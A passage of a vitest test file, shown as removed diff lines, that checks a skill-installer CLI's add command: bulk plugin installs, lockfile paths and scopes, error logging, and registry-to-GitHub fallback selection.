const exitSpy = vi.spyOn(process, "exit").mockImplementation(() => { throw new Error("exit"); });
|
|
1448
|
-
try {
|
|
1449
|
-
await addCommand("ignored", { repo: "noslash", plugin: "frontend" });
|
|
1450
|
-
}
|
|
1451
|
-
catch { /* expected */ }
|
|
1452
|
-
expect(exitSpy).toHaveBeenCalledWith(1);
|
|
1453
|
-
exitSpy.mockRestore();
|
|
1454
|
-
});
|
|
1455
|
-
it("exits with error when plugin not found in marketplace", async () => {
|
|
1456
|
-
mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
|
|
1457
|
-
globalThis.fetch = vi.fn().mockImplementation(async (url) => {
|
|
1458
|
-
if (url.includes("marketplace.json")) {
|
|
1459
|
-
return { ok: true, text: async () => marketplaceJson };
|
|
1460
|
-
}
|
|
1461
|
-
return { ok: false };
|
|
1462
|
-
});
|
|
1463
|
-
const exitSpy = vi.spyOn(process, "exit").mockImplementation(() => { throw new Error("exit"); });
|
|
1464
|
-
try {
|
|
1465
|
-
await addCommand("ignored", { repo: "anton-abyzov/vskill", plugin: "nonexistent" });
|
|
1466
|
-
}
|
|
1467
|
-
catch { /* expected */ }
|
|
1468
|
-
expect(exitSpy).toHaveBeenCalledWith(1);
|
|
1469
|
-
exitSpy.mockRestore();
|
|
1470
|
-
});
|
|
1471
|
-
it("runs security scan on combined skill content", async () => {
|
|
1472
|
-
setupHappyPath();
|
|
1473
|
-
await addCommand("ignored", { repo: "anton-abyzov/vskill", plugin: "frontend" });
|
|
1474
|
-
expect(mockRunTier1Scan).toHaveBeenCalledTimes(1);
|
|
1475
|
-
const scannedContent = mockRunTier1Scan.mock.calls[0][0];
|
|
1476
|
-
// Combined content should include both skills and the command
|
|
1477
|
-
expect(scannedContent).toContain("Next.js Skill");
|
|
1478
|
-
expect(scannedContent).toContain("React Skill");
|
|
1479
|
-
expect(scannedContent).toContain("Scaffold");
|
|
1480
|
-
});
|
|
1481
|
-
});
|
|
1482
|
-
// ---------------------------------------------------------------------------
|
|
1483
|
-
// --all flag tests (bulk repo install)
|
|
1484
|
-
// ---------------------------------------------------------------------------
|
|
1485
|
-
describe("addCommand with --repo --all flag (bulk install)", () => {
|
|
1486
|
-
const originalFetch = globalThis.fetch;
|
|
1487
|
-
afterEach(() => {
|
|
1488
|
-
globalThis.fetch = originalFetch;
|
|
1489
|
-
});
|
|
1490
|
-
const marketplaceJson = JSON.stringify({
|
|
1491
|
-
name: "vskill",
|
|
1492
|
-
version: "1.0.0",
|
|
1493
|
-
plugins: [
|
|
1494
|
-
{ name: "frontend", source: "./plugins/frontend", description: "Frontend skills", version: "1.0.0" },
|
|
1495
|
-
{ name: "backend", source: "./plugins/backend", description: "Backend skills", version: "1.0.0" },
|
|
1496
|
-
{ name: "testing", source: "./plugins/testing", description: "Testing skills", version: "1.0.0" },
|
|
1497
|
-
],
|
|
1498
|
-
});
|
|
1499
|
-
function setupAllHappyPath() {
|
|
1500
|
-
mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
|
|
1501
|
-
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
1502
|
-
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
1503
|
-
mockFindProjectRoot.mockReturnValue("/project");
|
|
1504
|
-
mockExistsSync.mockReturnValue(false);
|
|
1505
|
-
mockEnsureLockfile.mockReturnValue({
|
|
1506
|
-
version: 1,
|
|
1507
|
-
agents: [],
|
|
1508
|
-
skills: {},
|
|
1509
|
-
createdAt: "2026-01-01T00:00:00.000Z",
|
|
1510
|
-
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
1511
|
-
});
|
|
1512
|
-
globalThis.fetch = vi.fn().mockImplementation(async (url) => {
|
|
1513
|
-
if (url.includes("marketplace.json")) {
|
|
1514
|
-
return { ok: true, text: async () => marketplaceJson, json: async () => JSON.parse(marketplaceJson) };
|
|
1515
|
-
}
|
|
1516
|
-
// Skills directory for any plugin
|
|
1517
|
-
if (url.includes("/contents/plugins/") && url.includes("/skills")) {
|
|
1518
|
-
return {
|
|
1519
|
-
ok: true,
|
|
1520
|
-
json: async () => [{ name: "skill-one", type: "dir" }],
|
|
1521
|
-
};
|
|
1522
|
-
}
|
|
1523
|
-
// Commands directory
|
|
1524
|
-
if (url.includes("/contents/plugins/") && url.includes("/commands")) {
|
|
1525
|
-
return { ok: true, json: async () => [] };
|
|
1526
|
-
}
|
|
1527
|
-
// SKILL.md content
|
|
1528
|
-
if (url.includes("/SKILL.md")) {
|
|
1529
|
-
return { ok: true, text: async () => "# Test Skill\nDomain expertise" };
|
|
1530
|
-
}
|
|
1531
|
-
return { ok: false };
|
|
1532
|
-
});
|
|
1533
|
-
}
|
|
1534
|
-
it("installs all plugins from marketplace when --all is passed", async () => {
|
|
1535
|
-
setupAllHappyPath();
|
|
1536
|
-
await addCommand(undefined, { repo: "anton-abyzov/vskill", all: true });
|
|
1537
|
-
// Should write lockfile entries for all 3 plugins
|
|
1538
|
-
expect(mockWriteLockfile).toHaveBeenCalledTimes(3);
|
|
1539
|
-
const lockCalls = mockWriteLockfile.mock.calls;
|
|
1540
|
-
const pluginNames = lockCalls.map((call) => Object.keys(call[0].skills).filter(k => ["frontend", "backend", "testing"].includes(k))).flat();
|
|
1541
|
-
expect(pluginNames).toContain("frontend");
|
|
1542
|
-
expect(pluginNames).toContain("backend");
|
|
1543
|
-
expect(pluginNames).toContain("testing");
|
|
1544
|
-
});
|
|
1545
|
-
it("writes lockfile with github source for each plugin", async () => {
|
|
1546
|
-
setupAllHappyPath();
|
|
1547
|
-
await addCommand(undefined, { repo: "anton-abyzov/vskill", all: true });
|
|
1548
|
-
// Check each call has correct source format
|
|
1549
|
-
const allLocks = mockWriteLockfile.mock.calls.map((call) => call[0]);
|
|
1550
|
-
const sources = allLocks.flatMap(lock => Object.entries(lock.skills).map(([name, entry]) => ({ name, source: entry.source })));
|
|
1551
|
-
const frontendEntry = sources.find(s => s.name === "frontend");
|
|
1552
|
-
expect(frontendEntry?.source).toBe("github:anton-abyzov/vskill#plugin:frontend");
|
|
1553
|
-
});
|
|
1554
|
-
it("continues installing after one plugin fails", async () => {
|
|
1555
|
-
setupAllHappyPath();
|
|
1556
|
-
// Make "backend" fail by having its skills dir return empty
|
|
1557
|
-
let callCount = 0;
|
|
1558
|
-
globalThis.fetch = vi.fn().mockImplementation(async (url) => {
|
|
1559
|
-
if (url.includes("marketplace.json")) {
|
|
1560
|
-
return { ok: true, text: async () => marketplaceJson, json: async () => JSON.parse(marketplaceJson) };
|
|
1561
|
-
}
|
|
1562
|
-
// Make the second plugin (backend) return no skills
|
|
1563
|
-
if (url.includes("/contents/plugins/backend/skills")) {
|
|
1564
|
-
return { ok: true, json: async () => [] };
|
|
1565
|
-
}
|
|
1566
|
-
if (url.includes("/contents/plugins/backend/commands")) {
|
|
1567
|
-
return { ok: true, json: async () => [] };
|
|
1568
|
-
}
|
|
1569
|
-
if (url.includes("/contents/plugins/") && url.includes("/skills")) {
|
|
1570
|
-
return {
|
|
1571
|
-
ok: true,
|
|
1572
|
-
json: async () => [{ name: "skill-one", type: "dir" }],
|
|
1573
|
-
};
|
|
1574
|
-
}
|
|
1575
|
-
if (url.includes("/contents/plugins/") && url.includes("/commands")) {
|
|
1576
|
-
return { ok: true, json: async () => [] };
|
|
1577
|
-
}
|
|
1578
|
-
if (url.includes("/SKILL.md")) {
|
|
1579
|
-
return { ok: true, text: async () => "# Test Skill\nContent" };
|
|
1580
|
-
}
|
|
1581
|
-
return { ok: false };
|
|
1582
|
-
});
|
|
1583
|
-
await addCommand(undefined, { repo: "anton-abyzov/vskill", all: true });
|
|
1584
|
-
// Should still install frontend and testing (backend fails)
|
|
1585
|
-
// lockfile written at least twice (for frontend and testing)
|
|
1586
|
-
expect(mockWriteLockfile.mock.calls.length).toBeGreaterThanOrEqual(2);
|
|
1587
|
-
});
|
|
1588
|
-
it("exits with error when --all used without --repo", async () => {
|
|
1589
|
-
const exitSpy = vi.spyOn(process, "exit").mockImplementation(() => { throw new Error("exit"); });
|
|
1590
|
-
try {
|
|
1591
|
-
await addCommand(undefined, { all: true });
|
|
1592
|
-
}
|
|
1593
|
-
catch { /* expected */ }
|
|
1594
|
-
expect(exitSpy).toHaveBeenCalledWith(1);
|
|
1595
|
-
exitSpy.mockRestore();
|
|
1596
|
-
});
|
|
1597
|
-
it("does not require source argument when --repo --all is used", async () => {
|
|
1598
|
-
setupAllHappyPath();
|
|
1599
|
-
// source is undefined — should work fine with --repo --all
|
|
1600
|
-
await addCommand(undefined, { repo: "anton-abyzov/vskill", all: true });
|
|
1601
|
-
// Should not throw — verify plugins were installed
|
|
1602
|
-
expect(mockWriteLockfile).toHaveBeenCalled();
|
|
1603
|
-
});
|
|
1604
|
-
});
|
|
1605
|
-
// ---------------------------------------------------------------------------
|
|
1606
|
-
// Project root consistency — lockfile and skills use the same base dir
|
|
1607
|
-
// ---------------------------------------------------------------------------
|
|
1608
|
-
describe("addCommand project root consistency", () => {
|
|
1609
|
-
const originalFetch = globalThis.fetch;
|
|
1610
|
-
beforeEach(() => {
|
|
1611
|
-
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
1612
|
-
ok: true,
|
|
1613
|
-
text: async () => "# Skill content",
|
|
1614
|
-
});
|
|
1615
|
-
mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
|
|
1616
|
-
mockCheckPlatformSecurity.mockResolvedValue(null);
|
|
1617
|
-
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
1618
|
-
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
1619
|
-
mockEnsureLockfile.mockReturnValue({
|
|
1620
|
-
version: 1,
|
|
1621
|
-
agents: [],
|
|
1622
|
-
skills: {},
|
|
1623
|
-
createdAt: "2026-01-01T00:00:00.000Z",
|
|
1624
|
-
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
1625
|
-
});
|
|
1626
|
-
});
|
|
1627
|
-
afterEach(() => {
|
|
1628
|
-
globalThis.fetch = originalFetch;
|
|
1629
|
-
});
|
|
1630
|
-
it("passes project root to ensureLockfile and writeLockfile in discovery flow", async () => {
|
|
1631
|
-
const cwd = "/home/user/my-project";
|
|
1632
|
-
const cwdSpy = vi.spyOn(process, "cwd").mockReturnValue(cwd);
|
|
1633
|
-
mockFindProjectRoot.mockReturnValue(cwd);
|
|
1634
|
-
mockDiscoverSkills.mockResolvedValue([
|
|
1635
|
-
{ name: "skill-a", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/o/r/main/SKILL.md" },
|
|
1636
|
-
]);
|
|
1637
|
-
await addCommand("owner/repo", {});
|
|
1638
|
-
expect(mockEnsureLockfile).toHaveBeenCalledWith(cwd);
|
|
1639
|
-
expect(mockWriteLockfile).toHaveBeenCalledWith(expect.anything(), cwd);
|
|
1640
|
-
cwdSpy.mockRestore();
|
|
1641
|
-
});
|
|
1642
|
-
it("passes project root to ensureLockfile and writeLockfile in single-skill legacy flow", async () => {
|
|
1643
|
-
const cwd = "/home/user/my-project";
|
|
1644
|
-
const cwdSpy = vi.spyOn(process, "cwd").mockReturnValue(cwd);
|
|
1645
|
-
mockFindProjectRoot.mockReturnValue(cwd);
|
|
1646
|
-
await addCommand("owner/repo/my-skill", {});
|
|
1647
|
-
expect(mockEnsureLockfile).toHaveBeenCalledWith(cwd);
|
|
1648
|
-
expect(mockWriteLockfile).toHaveBeenCalledWith(expect.anything(), cwd);
|
|
1649
|
-
cwdSpy.mockRestore();
|
|
1650
|
-
});
|
|
1651
|
-
it("passes project root to ensureLockfile and writeLockfile in registry flow with content", async () => {
|
|
1652
|
-
const cwd = "/home/user/my-project";
|
|
1653
|
-
const cwdSpy = vi.spyOn(process, "cwd").mockReturnValue(cwd);
|
|
1654
|
-
mockFindProjectRoot.mockReturnValue(cwd);
|
|
1655
|
-
mockGetSkill.mockResolvedValue({
|
|
1656
|
-
name: "my-skill",
|
|
1657
|
-
author: "alice",
|
|
1658
|
-
version: "1.0.0",
|
|
1659
|
-
content: "# My Skill",
|
|
1660
|
-
installs: 0,
|
|
1661
|
-
updatedAt: "",
|
|
1662
|
-
});
|
|
1663
|
-
await addCommand("my-skill", {});
|
|
1664
|
-
expect(mockEnsureLockfile).toHaveBeenCalledWith(cwd);
|
|
1665
|
-
expect(mockWriteLockfile).toHaveBeenCalledWith(expect.anything(), cwd);
|
|
1666
|
-
cwdSpy.mockRestore();
|
|
1667
|
-
});
|
|
1668
|
-
it("canonical installer and lockfile both use same project root in discovery flow", async () => {
|
|
1669
|
-
const cwd = "/home/user/deep/project";
|
|
1670
|
-
const cwdSpy = vi.spyOn(process, "cwd").mockReturnValue(cwd);
|
|
1671
|
-
mockFindProjectRoot.mockReturnValue(cwd);
|
|
1672
|
-
mockDiscoverSkills.mockResolvedValue([
|
|
1673
|
-
{ name: "alpha", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/o/r/main/SKILL.md" },
|
|
1674
|
-
]);
|
|
1675
|
-
await addCommand("owner/repo", {});
|
|
1676
|
-
expect(mockInstallSymlink).toHaveBeenCalled();
|
|
1677
|
-
const installOpts = mockInstallSymlink.mock.calls[0][3];
|
|
1678
|
-
expect(installOpts.projectRoot).toBe(cwd);
|
|
1679
|
-
expect(mockEnsureLockfile).toHaveBeenCalledWith(cwd);
|
|
1680
|
-
cwdSpy.mockRestore();
|
|
1681
|
-
});
|
|
1682
|
-
it("uses ~/.agents/ for lockfile when global scope is selected", async () => {
|
|
1683
|
-
mockHomedir.mockReturnValue("/home/testuser");
|
|
1684
|
-
mockFindProjectRoot.mockReturnValue("/home/testuser/my-project");
|
|
1685
|
-
mockDiscoverSkills.mockResolvedValue([
|
|
1686
|
-
{ name: "skill-a", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/o/r/main/SKILL.md" },
|
|
1687
|
-
]);
|
|
1688
|
-
await addCommand("owner/repo", { global: true });
|
|
1689
|
-
// Lockfile should go to ~/.agents/, not the project root
|
|
1690
|
-
expect(mockEnsureLockfile).toHaveBeenCalledWith("/home/testuser/.agents");
|
|
1691
|
-
expect(mockWriteLockfile).toHaveBeenCalledWith(expect.anything(), "/home/testuser/.agents");
|
|
1692
|
-
});
|
|
1693
|
-
it("sets scope field on lockfile entries for global installs", async () => {
|
|
1694
|
-
mockHomedir.mockReturnValue("/home/testuser");
|
|
1695
|
-
mockFindProjectRoot.mockReturnValue("/home/testuser/my-project");
|
|
1696
|
-
mockDiscoverSkills.mockResolvedValue([
|
|
1697
|
-
{ name: "skill-a", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/o/r/main/SKILL.md" },
|
|
1698
|
-
]);
|
|
1699
|
-
await addCommand("owner/repo", { global: true });
|
|
1700
|
-
// Check that the lock object passed to writeLockfile has scope: "user"
|
|
1701
|
-
const lockArg = mockWriteLockfile.mock.calls[0]?.[0];
|
|
1702
|
-
const entry = lockArg?.skills?.["skill-a"];
|
|
1703
|
-
expect(entry?.scope).toBe("user");
|
|
1704
|
-
});
|
|
1705
|
-
it("sets scope field to 'project' for project-scoped installs", async () => {
|
|
1706
|
-
const projectRoot = "/home/testuser/my-project";
|
|
1707
|
-
mockFindProjectRoot.mockReturnValue(projectRoot);
|
|
1708
|
-
mockDiscoverSkills.mockResolvedValue([
|
|
1709
|
-
{ name: "skill-a", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/o/r/main/SKILL.md" },
|
|
1710
|
-
]);
|
|
1711
|
-
await addCommand("owner/repo", {});
|
|
1712
|
-
const lockArg = mockWriteLockfile.mock.calls[0]?.[0];
|
|
1713
|
-
const entry = lockArg?.skills?.["skill-a"];
|
|
1714
|
-
expect(entry?.scope).toBe("project");
|
|
1715
|
-
});
|
|
1716
|
-
});
|
|
1717
|
-
// ---------------------------------------------------------------------------
|
|
1718
|
-
// Error handling — installOneGitHubSkill must not silently swallow errors
|
|
1719
|
-
// ---------------------------------------------------------------------------
|
|
1720
|
-
describe("addCommand error handling in discovery flow", () => {
|
|
1721
|
-
const originalFetch = globalThis.fetch;
|
|
1722
|
-
beforeEach(() => {
|
|
1723
|
-
mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
|
|
1724
|
-
mockCheckPlatformSecurity.mockResolvedValue(null);
|
|
1725
|
-
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
1726
|
-
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
1727
|
-
mockFindProjectRoot.mockReturnValue(process.cwd());
|
|
1728
|
-
mockEnsureLockfile.mockReturnValue({
|
|
1729
|
-
version: 1,
|
|
1730
|
-
agents: [],
|
|
1731
|
-
skills: {},
|
|
1732
|
-
createdAt: "2026-01-01T00:00:00.000Z",
|
|
1733
|
-
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
1734
|
-
});
|
|
1735
|
-
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
1736
|
-
ok: true,
|
|
1737
|
-
text: async () => "# Skill content",
|
|
1738
|
-
});
|
|
1739
|
-
});
|
|
1740
|
-
afterEach(() => {
|
|
1741
|
-
globalThis.fetch = originalFetch;
|
|
1742
|
-
});
|
|
1743
|
-
it("logs error and marks skill as not installed when canonical installer throws", async () => {
|
|
1744
|
-
mockDiscoverSkills.mockResolvedValue([
|
|
1745
|
-
{ name: "broken", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/o/r/main/SKILL.md" },
|
|
1746
|
-
]);
|
|
1747
|
-
mockInstallSymlink.mockImplementation(() => {
|
|
1748
|
-
throw new Error("EACCES: permission denied");
|
|
1749
|
-
});
|
|
1750
|
-
await addCommand("owner/repo", {});
|
|
1751
|
-
// Error should be logged (not swallowed)
|
|
1752
|
-
const errorOutput = console.error.mock.calls
|
|
1753
|
-
.map((c) => String(c[0]))
|
|
1754
|
-
.join("\n");
|
|
1755
|
-
expect(errorOutput).toContain("Failed to install");
|
|
1756
|
-
expect(errorOutput).toContain("EACCES");
|
|
1757
|
-
// Skill should NOT appear in lockfile
|
|
1758
|
-
const lockArg = mockWriteLockfile.mock.calls[0]?.[0];
|
|
1759
|
-
if (lockArg) {
|
|
1760
|
-
expect(lockArg.skills).not.toHaveProperty("broken");
|
|
1761
|
-
}
|
|
1762
|
-
});
|
|
1763
|
-
});
|
|
1764
|
-
// ---------------------------------------------------------------------------
|
|
1765
|
-
// Flat name deprecation — tip message for owner/repo format
|
|
1766
|
-
// ---------------------------------------------------------------------------
|
|
1767
|
-
describe("addCommand flat name identifier guidance", () => {
|
|
1768
|
-
const originalFetch = globalThis.fetch;
|
|
1769
|
-
beforeEach(() => {
|
|
1770
|
-
mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
|
|
1771
|
-
mockCheckPlatformSecurity.mockResolvedValue(null);
|
|
1772
|
-
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
1773
|
-
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
1774
|
-
mockFindProjectRoot.mockReturnValue(process.cwd());
|
|
1775
|
-
mockEnsureLockfile.mockReturnValue({
|
|
1776
|
-
version: 1,
|
|
1777
|
-
agents: [],
|
|
1778
|
-
skills: {},
|
|
1779
|
-
createdAt: "2026-01-01T00:00:00.000Z",
|
|
1780
|
-
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
1781
|
-
});
|
|
1782
|
-
});
|
|
1783
|
-
afterEach(() => {
|
|
1784
|
-
globalThis.fetch = originalFetch;
|
|
1785
|
-
});
|
|
1786
|
-
it("shows format tip when source is a flat name going to registry", async () => {
|
|
1787
|
-
mockGetSkill.mockResolvedValue({
|
|
1788
|
-
name: "my-skill",
|
|
1789
|
-
author: "alice",
|
|
1790
|
-
version: "1.0.0",
|
|
1791
|
-
content: "# My Skill",
|
|
1792
|
-
installs: 0,
|
|
1793
|
-
updatedAt: "",
|
|
1794
|
-
});
|
|
1795
|
-
await addCommand("my-skill", {});
|
|
1796
|
-
const logOutput = console.log.mock.calls
|
|
1797
|
-
.map((c) => String(c[0]))
|
|
1798
|
-
.join("\n");
|
|
1799
|
-
expect(logOutput).toContain("owner/repo");
|
|
1800
|
-
});
|
|
1801
|
-
it("shows resolution hint when registry falls back to GitHub", async () => {
|
|
1802
|
-
mockGetSkill.mockResolvedValue({
|
|
1803
|
-
name: "remotion-dev-skills-remotion",
|
|
1804
|
-
author: "remotion-dev",
|
|
1805
|
-
content: undefined,
|
|
1806
|
-
repoUrl: "https://github.com/remotion-dev/skills",
|
|
1807
|
-
installs: 0,
|
|
1808
|
-
updatedAt: "",
|
|
1809
|
-
});
|
|
1810
|
-
mockDiscoverSkills.mockResolvedValue([
|
|
1811
|
-
{ name: "remotion", path: "skills/remotion/SKILL.md", rawUrl: "https://raw.githubusercontent.com/remotion-dev/skills/main/skills/remotion/SKILL.md" },
|
|
1812
|
-
]);
|
|
1813
|
-
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
1814
|
-
ok: true,
|
|
1815
|
-
text: async () => "# Remotion skill",
|
|
1816
|
-
});
|
|
1817
|
-
await addCommand("remotion-dev-skills-remotion", {});
|
|
1818
|
-
const logOutput = console.log.mock.calls
|
|
1819
|
-
.map((c) => String(c[0]))
|
|
1820
|
-
.join("\n");
|
|
1821
|
-
// Should suggest the owner/repo format (no longer 3-part)
|
|
1822
|
-
expect(logOutput).toContain("vskill install remotion-dev/skills");
|
|
1823
|
-
});
|
|
1824
|
-
});
|
|
1825
|
-
// ---------------------------------------------------------------------------
|
|
1826
|
-
// Registry → GitHub fallback: auto-select matching skill (_targetSkill)
|
|
1827
|
-
// ---------------------------------------------------------------------------
|
|
1828
|
-
describe("addCommand registry fallback auto-selects matching skill", () => {
|
|
1829
|
-
const originalFetch = globalThis.fetch;
|
|
1830
|
-
beforeEach(() => {
|
|
1831
|
-
mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
|
|
1832
|
-
mockCheckPlatformSecurity.mockResolvedValue(null);
|
|
1833
|
-
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
1834
|
-
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
1835
|
-
mockFindProjectRoot.mockReturnValue(process.cwd());
|
|
1836
|
-
// Reset canonical installer (earlier test overrides with throwing impl)
|
|
1837
|
-
mockInstallSymlink.mockReturnValue([]);
|
|
1838
|
-
mockInstallCopy.mockReturnValue([]);
|
|
1839
|
-
mockEnsureLockfile.mockReturnValue({
|
|
1840
|
-
version: 1,
|
|
1841
|
-
agents: [],
|
|
1842
|
-
skills: {},
|
|
1843
|
-
createdAt: "2026-01-01T00:00:00.000Z",
|
|
1844
|
-
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
1845
|
-
});
|
|
1846
|
-
});
|
|
1847
|
-
afterEach(() => {
|
|
1848
|
-
globalThis.fetch = originalFetch;
|
|
1849
|
-
});
|
|
1850
|
-
it("auto-selects matching skill from multi-skill repo (installs 1, not all)", async () => {
|
|
1851
|
-
mockGetSkill.mockResolvedValue({
|
|
1852
|
-
name: "excalidraw-diagram-generator",
|
|
1853
|
-
author: "github",
|
|
1854
|
-
content: undefined,
|
|
1855
|
-
repoUrl: "https://github.com/github/awesome-copilot",
|
|
1856
|
-
installs: 100,
|
|
1857
|
-
updatedAt: "2026-02-20T00:00:00Z",
|
|
1858
|
-
});
|
|
1859
|
-
mockDiscoverSkills.mockResolvedValue([
|
|
1860
|
-
{ name: "code-review", path: "skills/code-review/SKILL.md", rawUrl: "https://raw.githubusercontent.com/github/awesome-copilot/main/skills/code-review/SKILL.md" },
|
|
1861
|
-
{ name: "excalidraw-diagram-generator", path: "skills/excalidraw-diagram-generator/SKILL.md", rawUrl: "https://raw.githubusercontent.com/github/awesome-copilot/main/skills/excalidraw-diagram-generator/SKILL.md" },
|
|
1862
|
-
{ name: "unit-test-writer", path: "skills/unit-test-writer/SKILL.md", rawUrl: "https://raw.githubusercontent.com/github/awesome-copilot/main/skills/unit-test-writer/SKILL.md" },
|
|
1863
|
-
]);
|
|
1864
|
-
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
1865
|
-
ok: true,
|
|
1866
|
-
text: async () => "# Excalidraw Diagram Generator",
|
|
1867
|
-
});
|
|
1868
|
-
await addCommand("excalidraw-diagram-generator", {});
|
|
1869
|
-
// Should only install 1 skill, not all 3
|
|
1870
|
-
expect(mockRunTier1Scan).toHaveBeenCalledTimes(1);
|
|
1871
|
-
const lockArg = mockWriteLockfile.mock.calls[0][0];
|
|
1872
|
-
expect(Object.keys(lockArg.skills)).toHaveLength(1);
|
|
1873
|
-
expect(lockArg.skills).toHaveProperty("excalidraw-diagram-generator");
|
|
1874
|
-
expect(lockArg.skills).not.toHaveProperty("code-review");
|
|
1875
|
-
expect(lockArg.skills).not.toHaveProperty("unit-test-writer");
|
|
1876
|
-
});
|
|
1877
|
-
it("aborts in non-TTY when registry name does not match any discovered skill", async () => {
|
|
1878
|
-
mockGetSkill.mockResolvedValue({
|
|
1879
|
-
name: "remotion-dev-skills-remotion",
|
|
1880
|
-
author: "remotion-dev",
|
|
1881
|
-
content: undefined,
|
|
1882
|
-
repoUrl: "https://github.com/remotion-dev/skills",
|
|
1883
|
-
installs: 0,
|
|
1884
|
-
updatedAt: "2026-02-20T00:00:00Z",
|
|
1885
|
-
});
|
|
1886
|
-
// Registry name "remotion-dev-skills-remotion" does NOT match dir names
|
|
1887
|
-
mockDiscoverSkills.mockResolvedValue([
|
|
1888
|
-
{ name: "remotion", path: "skills/remotion/SKILL.md", rawUrl: "https://raw.githubusercontent.com/remotion-dev/skills/main/skills/remotion/SKILL.md" },
|
|
1889
|
-
{ name: "video-editor", path: "skills/video-editor/SKILL.md", rawUrl: "https://raw.githubusercontent.com/remotion-dev/skills/main/skills/video-editor/SKILL.md" },
|
|
1890
|
-
]);
|
|
1891
|
-
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
1892
|
-
ok: true,
|
|
1893
|
-
text: async () => "# Skill content",
|
|
1894
|
-
});
|
|
1895
|
-
const mockExit = vi.spyOn(process, "exit").mockImplementation(() => {
|
|
1896
|
-
throw new Error("process.exit");
|
|
1897
|
-
});
|
|
1898
|
-
// Non-TTY + no match → should abort, not install all
|
|
1899
|
-
await expect(addCommand("remotion-dev-skills-remotion", {})).rejects.toThrow("process.exit");
|
|
1900
|
-
const errorOutput = console.error.mock.calls
|
|
1901
|
-
.map((c) => String(c[0]))
|
|
1902
|
-
.join("\n");
|
|
1903
|
-
expect(errorOutput).toContain("not found among 2 skills");
|
|
1904
|
-
expect(errorOutput).toContain("remotion, video-editor");
|
|
1905
|
-
mockExit.mockRestore();
|
|
1906
|
-
});
|
|
1907
|
-
it("auto-selects with case-insensitive match (registry slug vs directory name)", async () => {
|
|
1908
|
-
mockGetSkill.mockResolvedValue({
|
|
1909
|
-
name: "code-review",
|
|
1910
|
-
author: "github",
|
|
1911
|
-
content: undefined,
|
|
1912
|
-
repoUrl: "https://github.com/github/copilot-skills",
|
|
1913
|
-
installs: 50,
|
|
1914
|
-
updatedAt: "2026-02-20T00:00:00Z",
|
|
1915
|
-
});
|
|
1916
|
-
// Directory has mixed case — registry slug is lowercase
|
|
1917
|
-
mockDiscoverSkills.mockResolvedValue([
|
|
1918
|
-
{ name: "Code-Review", path: "skills/Code-Review/SKILL.md", rawUrl: "https://raw.githubusercontent.com/github/copilot-skills/main/skills/Code-Review/SKILL.md" },
|
|
1919
|
-
{ name: "unit-test", path: "skills/unit-test/SKILL.md", rawUrl: "https://raw.githubusercontent.com/github/copilot-skills/main/skills/unit-test/SKILL.md" },
|
|
1920
|
-
]);
|
|
1921
|
-
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
1922
|
-
ok: true,
|
|
1923
|
-
text: async () => "# Code Review Skill",
|
|
1924
|
-
});
|
|
1925
|
-
await addCommand("code-review", {});
|
|
1926
|
-
// Should auto-select only Code-Review, not unit-test
|
|
1927
|
-
expect(mockRunTier1Scan).toHaveBeenCalledTimes(1);
|
|
1928
|
-
const lockArg = mockWriteLockfile.mock.calls[0][0];
|
|
1929
|
-
expect(Object.keys(lockArg.skills)).toHaveLength(1);
|
|
1930
|
-
expect(lockArg.skills).toHaveProperty("Code-Review");
|
|
1931
|
-
expect(lockArg.skills).not.toHaveProperty("unit-test");
|
|
1932
|
-
});
|
|
1933
|
-
it("tip message suggests owner/repo format for direct install", async () => {
|
|
1934
|
-
mockGetSkill.mockResolvedValue({
|
|
1935
|
-
name: "excalidraw-diagram-generator",
|
|
1936
|
-
author: "github",
|
|
1937
|
-
content: undefined,
|
|
1938
|
-
repoUrl: "https://github.com/github/awesome-copilot",
|
|
1939
|
-
installs: 0,
|
|
1940
|
-
updatedAt: "2026-02-20T00:00:00Z",
|
|
1941
|
-
});
|
|
1942
|
-
mockDiscoverSkills.mockResolvedValue([
|
|
1943
|
-
{ name: "excalidraw-diagram-generator", path: "skills/excalidraw-diagram-generator/SKILL.md", rawUrl: "https://raw.githubusercontent.com/github/awesome-copilot/main/skills/excalidraw-diagram-generator/SKILL.md" },
|
|
1944
|
-
]);
|
|
1945
|
-
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
1946
|
-
ok: true,
|
|
1947
|
-
text: async () => "# Skill content",
|
|
1948
|
-
});
|
|
1949
|
-
await addCommand("excalidraw-diagram-generator", {});
|
|
1950
|
-
const logOutput = console.log.mock.calls
|
|
1951
|
-
.map((c) => String(c[0]))
|
|
1952
|
-
.join("\n");
|
|
1953
|
-
expect(logOutput).toContain("vskill install github/awesome-copilot");
|
|
1954
|
-
});
|
|
1955
|
-
it("does not auto-filter when _targetSkill is not set (direct owner/repo)", async () => {
|
|
1956
|
-
mockDiscoverSkills.mockResolvedValue([
|
